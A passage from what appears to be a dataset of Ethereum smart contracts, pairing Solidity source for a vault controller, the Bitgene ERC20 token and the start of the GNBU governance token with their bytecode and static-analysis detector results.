506020610cc085828601610bc5565b9150509250929050565b610cd381611030565b82525050565b6000610ce482610f78565b610cee8185610f83565b9350610cfe818560208601611073565b610d0781611136565b840191505092915050565b6000610d1f602383610f83565b9150610d2a82611147565b604082019050919050565b6000610d42602283610f83565b9150610d4d82611196565b604082019050919050565b6000610d65602683610f83565b9150610d70826111e5565b604082019050919050565b6000610d88602883610f83565b9150610d9382611234565b604082019050919050565b6000610dab602583610f83565b9150610db682611283565b604082019050919050565b6000610dce602483610f83565b9150610dd9826112d2565b604082019050919050565b6000610df1602583610f83565b9150610dfc82611321565b604082019050919050565b610e108161105c565b82525050565b610e1f81611066565b82525050565b6000602082019050610e3a6000830184610cca565b92915050565b60006020820190508181036000830152610e5a8184610cd9565b905092915050565b60006020820190508181036000830152610e7b81610d12565b9050919050565b60006020820190508181036000830152610e9b81610d35565b9050919050565b60006020820190508181036000830152610ebb81610d58565b9050919050565b60006020820190508181036000830152610edb81610d7b565b9050919050565b60006020820190508181036000830152610efb81610d9e565b9050919050565b60006020820190508181036000830152610f1b81610dc1565b9050919050565b60006020820190508181036000830152610f3b81610de4565b9050919050565b6000602082019050610f576000830184610e07565b92915050565b6000602082019050610f726000830184610e16565b92915050565b600081519050919050565b600082825260208201905092915050565b6000610f9f8261105c565b9150610faa8361105c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115610fdf57610fde6110d8565b5b828201905092915050565b6000610ff58261105c565b91506110008361105c565b925082821015611013576110126110d8565b5b828203905092915050565b60006110298261103c565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611091578082015181840152602081019050611076565b838111156110a0576000848401525b50505050565b600060028204905060018216806110be57607f821691505b602082108114156110d2576110d1611107565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6113798161101e565b811461138457600080fd5b50565b6113908161105c565b811461139b57600080fd5b5056fea264697066735822122041f6192381f8ef5ec81ac8039eeaed57f89b4042075920a3eff8ad0c120f7ece64736f6c63430008010033 | {"success": true, "error": null, "results": {}} | 105 |
0xA1561494Dcd9f1C3eDE6A965302a851d2A7E1a74 | // SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.6;
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable {
address public owner;
address public pendingOwner;
event OwnershipTransferInitiated(address indexed previousOwner, address indexed newOwner);
event OwnershipTransferConfirmed(address indexed previousOwner, address indexed newOwner);
constructor() {
owner = msg.sender;
emit OwnershipTransferConfirmed(address(0), owner);
}
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
function isOwner() public view returns (bool) {
return msg.sender == owner;
}
function transferOwnership(address _newOwner) external onlyOwner {
require(_newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferInitiated(owner, _newOwner);
pendingOwner = _newOwner;
}
function acceptOwnership() external {
require(msg.sender == pendingOwner, "Ownable: caller is not pending owner");
emit OwnershipTransferConfirmed(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
}
contract VaultController is Ownable {
using Address for address;
address public rebalancer;
bool public depositsEnabled;
mapping(address => bool) public isGuardian;
mapping(address => uint) public depositLimit;
event NewDepositLimit(address indexed vault, uint amount);
event DepositsEnabled(bool value);
event NewRebalancer(address indexed rebalancer);
event AllowGuardian(address indexed guardian, bool value);
modifier onlyGuardian() {
require(isGuardian[msg.sender], "VaultController: caller is not a guardian");
_;
}
constructor() {
depositsEnabled = true;
}
function setRebalancer(address _rebalancer) external onlyOwner {
_requireContract(_rebalancer);
rebalancer = _rebalancer;
emit NewRebalancer(_rebalancer);
}
// Allow immediate emergency shutdown of deposits by the guardian.
function disableDeposits() external onlyGuardian {
depositsEnabled = false;
emit DepositsEnabled(false);
}
// Re-enabling deposits can only be done by the owner
function enableDeposits() external onlyOwner {
depositsEnabled = true;
emit DepositsEnabled(true);
}
function setDepositLimit(address _vault, uint _amount) external onlyOwner {
_requireContract(_vault);
depositLimit[_vault] = _amount;
emit NewDepositLimit(_vault, _amount);
}
function allowGuardian(address _guardian, bool _value) external onlyOwner {
isGuardian[_guardian] = _value;
emit AllowGuardian(_guardian, _value);
}
function _requireContract(address _value) internal view {
require(_value.isContract(), "VaultController: must be a contract");
}
} | 0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c806379ba50971161008c578063ac67e1af11610066578063ac67e1af146101d7578063e30c3978146101df578063f2fde38b146101f2578063ff98c1e71461020557600080fd5b806379ba5097146101a95780638da5cb5b146101b15780638f32d59b146101c457600080fd5b80635392fd1c116100c85780635392fd1c146101675780635e4c57a41461017b5780636cfd15531461018357806379652bd61461019657600080fd5b806301d22ccd146100ef5780630c68ba211461011f578063272d177d14610152575b600080fd5b600254610102906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b61014261012d366004610720565b60036020526000908152604090205460ff1681565b6040519015158152602001610116565b61016561016036600461077e565b610233565b005b60025461014290600160a01b900460ff1681565b6101656102c8565b610165610191366004610720565b61033c565b6101656101a4366004610742565b6103b9565b61016561043b565b600054610102906001600160a01b031681565b6000546001600160a01b03163314610142565b610165610505565b600154610102906001600160a01b031681565b610165610200366004610720565b6105b4565b610225610213366004610720565b60046020526000908152604090205481565b604051908152602001610116565b6000546001600160a01b031633146102665760405162461bcd60e51b815260040161025d906107a8565b60405180910390fd5b61026f8261069e565b6001600160a01b03821660008181526004602052604090819020839055517f1011e87ba3050b2d8e1056215c975f86fd3b4bb0fd318474f313eb4c052f87bd906102bc9084815260200190565b60405180910390a25050565b6000546001600160a01b031633146102f25760405162461bcd60e51b815260040161025d906107a8565b6002805460ff60a01b1916600160a01b179055604051600181527f7b014ed3854e7f5cb0218d58b3c6ae7d53a68bb0af2f67bfb029ea42c38a7e85906020015b60405180910390a1565b6000546001600160a01b031633146103665760405162461bcd60e51b815260040161025d906107a8565b61036f8161069e565b600280546001600160a01b0319166001600160a01b0383169081179091556040517ff82e12abcc9d9ad0deb2ba4299126479da600b31cc4085d7f75778922e829bf590600090a250565b6000546001600160a01b031633146103e35760405162461bcd60e51b815260040161025d906107a8565b6001600160a01b038216600081815260036020908152604091829020805460ff191685151590811790915591519182527f4b7033fd223c7f9ac564197cd579d0e520b0629ebd2cace28d4cb5bd4b90e84b91016102bc565b6001546001600160a01b031633146104a15760405162461bcd60e51b8152602060048201526024808201527f4f776e61626c653a2063616c6c6572206973206e6f742070656e64696e67206f6044820152633bb732b960e11b606482015260840161025d565b600154600080546040516001600160a01b0393841693909116917f646fe5eeb20d96ea45a9caafcb508854a2fb5660885ced7772e12a633c97457191a360018054600080546001600160a01b03199081166001600160a01b03841617909155169055565b3360009081526003602052604090205460ff166105765760405162461bcd60e51b815260206004820152602960248201527f5661756c74436f6e74726f6c6c65723a2063616c6c6572206973206e6f7420616044820152681033bab0b93234b0b760b91b606482015260840161025d565b6002805460ff60a01b19169055604051600081527f7b014ed3854e7f5cb0218d58b3c6ae7d53a68bb0af2f67bfb029ea42c38a7e8590602001610332565b6000546001600160a01b031633146105de5760405162461bcd60e51b815260040161025d906107a8565b6001600160a01b0381166106435760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161025d565b600080546040516001600160a01b03808516939216917fb150023a879fd806e3599b6ca8ee3b60f0e360ab3846d128d67ebce1a391639a91a3600180546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0381163b6107015760405162461bcd60e51b815260206004820152602360248201527f5661756c74436f6e74726f6c6c65723a206d757374206265206120636f6e74726044820152621858dd60ea1b606482015260840161025d565b50565b80356001600160a01b038116811461071b57600080fd5b919050565b60006020828403121561073257600080fd5b61073b82610704565b9392505050565b6000806040838503121561075557600080fd5b61075e83610704565b91506020830135801515811461077357600080fd5b809150509250929050565b6000806040838503121561079157600080fd5b61079a83610704565b946020939093013593505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260408201526060019056fea26469706673582212204515cad1a1917b567ffe3dcd3ed4713d19276ed3b239c7350854711fc3c08bf764736f6c63430008060033 | {"success": true, "error": null, "results": {}} | 106 |
0x5987b7ad0bfb6eb3d8e00882bbab490c79d185c9 | pragma solidity ^0.4.23;
/**
* Math operations with safety checks
*/
library SafeMath {
function mul(uint a, uint b) internal pure returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20Basic {
uint public totalSupply;
function balanceOf(address who) constant public returns (uint);
function transfer(address to, uint value) public;
event Transfer(address indexed from, address indexed to, uint value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint;
mapping(address => uint) balances;
/**
* @dev Fix for the ERC20 short address attack.
*/
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) public {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint representing the amount owned by the passed address.
*/
function balanceOf(address _owner) constant public returns (uint balance) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant public returns (uint);
function transferFrom(address from, address to, uint value) public;
function approve(address spender, uint value) public;
event Approval(address indexed owner, address indexed spender, uint value);
}
/**
* @title Standard ERC20 token
*
* @dev Implemantation of the basic standart token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is BasicToken, ERC20 {
mapping (address => mapping (address => uint)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint the amout of tokens to be transfered
*/
function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(3 * 32) public {
uint _allowance;
_allowance = allowed[_from][msg.sender];
require(_allowance >= _value);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
emit Transfer(_from, _to, _value);
}
/**
* @dev Aprove the passed address to spend the specified amount of tokens on beahlf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint _value) public {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
}
/**
* @dev Function to check the amount of tokens than an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint specifing the amount of tokens still avaible for the spender.
*/
function allowance(address _owner, address _spender) constant public returns (uint remaining) {
return allowed[_owner][_spender];
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev modifier to allow actions only when the contract IS paused
*/
modifier whenNotPaused() {
// if (paused) throw;
require(!paused);
_;
}
/**
* @dev modifier to allow actions only when the contract IS NOT paused
*/
modifier whenPaused {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public returns (bool) {
paused = true;
emit Pause();
return true;
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public returns (bool) {
paused = false;
emit Unpause();
return true;
}
}
/**
* Pausable token
*
* Simple ERC20 Token example, with pausable token creation
**/
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint _value) whenNotPaused public {
super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) whenNotPaused public {
super.transferFrom(_from, _to, _value);
}
}
/**
* @title BitgeneToken
* @dev Bitgene Token contract
*/
contract BitgeneToken is PausableToken {
using SafeMath for uint256;
string public name = "Bitgene Token";
string public symbol = "BGT";
uint public decimals = 18;
uint256 public totalSupply = 10 ** 10 * 10**uint(decimals);
constructor() public {
balances[owner] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
function batchTransfer(address[] _receivers, uint256 _value) public whenNotPaused returns (bool) {
uint cnt = _receivers.length;
uint256 amount = uint256(cnt).mul(_value);
require(cnt > 0 && cnt <= 200);
require(_value > 0 && balances[msg.sender] >= amount);
balances[msg.sender] = balances[msg.sender].sub(amount);
for (uint i = 0; i < cnt; i++) {
balances[_receivers[i]] = balances[_receivers[i]].add(_value);
emit Transfer(msg.sender, _receivers[i], _value);
}
return true;
}
// If the user transfers ETH to contract, it will revert
function () public payable{ revert(); }
} | 0x6080604052600436106100da5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100df578063095ea7b31461016957806318160ddd1461018f57806323b872dd146101b6578063313ce567146101e05780633f4ba83a146101f55780635c975abb1461021e57806370a082311461023357806383f12fec146102545780638456cb59146102ab5780638da5cb5b146102c057806395d89b41146102f1578063a9059cbb14610306578063dd62ed3e1461032a578063f2fde38b14610351575b600080fd5b3480156100eb57600080fd5b506100f4610372565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561012e578181015183820152602001610116565b50505050905090810190601f16801561015b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561017557600080fd5b5061018d600160a060020a0360043516602435610400565b005b34801561019b57600080fd5b506101a461049b565b60408051918252519081900360200190f35b3480156101c257600080fd5b5061018d600160a060020a03600435811690602435166044356104a1565b3480156101ec57600080fd5b506101a46104c8565b34801561020157600080fd5b5061020a6104ce565b604080519115158252519081900360200190f35b34801561022a57600080fd5b5061020a61054d565b34801561023f57600080fd5b506101a4600160a060020a036004351661055d565b34801561026057600080fd5b506040805160206004803580820135838102808601850190965280855261020a9536959394602494938501929182918501908490808284375094975050933594506105789350505050565b3480156102b757600080fd5b5061020a610722565b3480156102cc57600080fd5b506102d56107a6565b60408051600160a060020a039092168252519081900360200190f35b3480156102fd57600080fd5b506100f46107b5565b34801561031257600080fd5b5061018d600160a060020a0360043516602435610810565b34801561033657600080fd5b506101a4600160a060020a0360043581169060243516610835565b34801561035d57600080fd5b5061018d600160a060020a0360043516610860565b6004805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156103f85780601f106103cd576101008083540402835291602001916103f8565b820191906000526020600020905b8154815290600101906020018083116103db57829003601f168201915b505050505081565b80158061042e5750336000908152600260209081526040808320600160a060020a0386168452909152902054155b151561043957600080fd5b336000818152600260209081526040808320600160a060020a03871680855290835292819020859055805185815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35050565b60075481565b60035460a060020a900460ff16156104b857600080fd5b6104c38383836108b2565b505050565b60065481565b600354600090600160a060020a031633146104e857600080fd5b60035460a060020a900460ff16151561050057600080fd5b6003805474ff0000000000000000000000000000000000000000191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a150600190565b60035460a060020a900460ff1681565b600160a060020a031660009081526001602052604090205490565b60035460009081908190819060a060020a900460ff161561059857600080fd5b855192506105ac838663ffffffff6109e316565b91506000831180156105bf575060c88311155b15156105ca57600080fd5b6000851180156105e95750336000908152600160205260409020548211155b15156105f457600080fd5b33600090815260016020526040902054610614908363ffffffff610a0e16565b3360009081526001602052604081209190915590505b82811015610716576106778560016000898581518110151561064857fe5b6020908102909101810151600160a060020a03168252810191909152604001600020549063ffffffff610a2016565b60016000888481518110151561068957fe5b6020908102909101810151600160a060020a031682528101919091526040016000205585518690829081106106ba57fe5b90602001906020020151600160a060020a031633600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040518082815260200191505060405180910390a360010161062a565b50600195945050505050565b600354600090600160a060020a0316331461073c57600080fd5b60035460a060020a900460ff161561075357600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a1790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a150600190565b600354600160a060020a031681565b6005805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156103f85780601f106103cd576101008083540402835291602001916103f8565b60035460a060020a900460ff161561082757600080fd5b6108318282610a2f565b5050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600354600160a060020a0316331461087757600080fd5b600160a060020a038116156108af576003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b50565b6000606060643610156108c157fe5b600160a060020a03851660009081526002602090815260408083203384529091529020549150828210156108f457600080fd5b600160a060020a03851660009081526001602052604090205461091d908463ffffffff610a0e16565b600160a060020a038087166000908152600160205260408082209390935590861681522054610952908463ffffffff610a2016565b600160a060020a03851660009081526001602052604090205561097b828463ffffffff610a0e16565b600160a060020a03808716600081815260026020908152604080832033845282529182902094909455805187815290519288169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35050505050565b60008282028315806109ff57508284828115156109fc57fe5b04145b1515610a0757fe5b9392505050565b600082821115610a1a57fe5b50900390565b600082820183811015610a0757fe5b60406044361015610a3c57fe5b33600090815260016020526040902054610a5c908363ffffffff610a0e16565b3360009081526001602052604080822092909255600160a060020a03851681522054610a8e908363ffffffff610a2016565b600160a060020a0384166000818152600160209081526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050505600a165627a7a72305820176ac18d28e0dc5e4f51bd8dd53770d6f0426c2c6f21e4ef1057d17dee23fc5c0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}} | 107 |
0xc8c80cf4ebcb941cdd307e90cce9a783cfc850bc | pragma solidity =0.8.0;
// ----------------------------------------------------------------------------
// GNBU token main contract (2021)
//
// Symbol : GNBU
// Name : Nimbus Governance Token
// Total supply : 100.000.000 (burnable)
// Decimals : 18
// ----------------------------------------------------------------------------
// SPDX-License-Identifier: MIT
// ----------------------------------------------------------------------------
interface IERC20 {
function totalSupply() external view returns (uint);
function balanceOf(address tokenOwner) external view returns (uint balance);
function allowance(address tokenOwner, address spender) external view returns (uint remaining);
function transfer(address to, uint tokens) external returns (bool success);
function approve(address spender, uint tokens) external returns (bool success);
function transferFrom(address from, address to, uint tokens) external returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract Ownable {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed from, address indexed to);
constructor() {
owner = msg.sender;
emit OwnershipTransferred(address(0), owner);
}
modifier onlyOwner {
require(msg.sender == owner, "Ownable: Caller is not the owner");
_;
}
function transferOwnership(address transferOwner) public onlyOwner {
require(transferOwner != newOwner);
newOwner = transferOwner;
}
function acceptOwnership() virtual public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract GNBU is Ownable, Pausable {
string public constant name = "Nimbus Governance Token";
string public constant symbol = "GNBU";
uint8 public constant decimals = 18;
uint96 public totalSupply = 100_000_000e18; // 100 million GNBU
mapping (address => mapping (address => uint96)) internal allowances;
mapping (address => uint96) private _unfrozenBalances;
mapping (address => uint32) private _vestingNonces;
mapping (address => mapping (uint32 => uint96)) private _vestingAmounts;
mapping (address => mapping (uint32 => uint96)) private _unvestedAmounts;
mapping (address => mapping (uint32 => uint)) private _vestingReleaseStartDates;
mapping (address => bool) public vesters;
uint96 private vestingFirstPeriod = 60 days;
uint96 private vestingSecondPeriod = 152 days;
address[] public supportUnits;
uint public supportUnitsCnt;
mapping (address => address) public delegates;
struct Checkpoint {
uint32 fromBlock;
uint96 votes;
}
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
mapping (address => uint32) public numCheckpoints;
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
mapping (address => uint) public nonces;
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(address indexed owner, address indexed spender, uint256 amount);
event Unvest(address user, uint amount);
constructor() {
_unfrozenBalances[owner] = uint96(totalSupply);
emit Transfer(address(0), owner, totalSupply);
}
function freeCirculation() external view returns (uint) {
uint96 systemAmount = _unfrozenBalances[owner];
for (uint i; i < supportUnits.length; i++) {
systemAmount = add96(systemAmount, _unfrozenBalances[supportUnits[i]], "GNBU::freeCirculation: adding overflow");
}
return sub96(totalSupply, systemAmount, "GNBU::freeCirculation: amount exceed totalSupply");
}
function allowance(address account, address spender) external view returns (uint) {
return allowances[account][spender];
}
function approve(address spender, uint rawAmount) external whenNotPaused returns (bool) {
uint96 amount;
if (rawAmount == uint(2 ** 256 - 1)) {
amount = uint96(2 ** 96 - 1);
} else {
amount = safe96(rawAmount, "GNBU::approve: amount exceeds 96 bits");
}
allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function permit(address owner, address spender, uint rawAmount, uint deadline, uint8 v, bytes32 r, bytes32 s) external whenNotPaused {
uint96 amount;
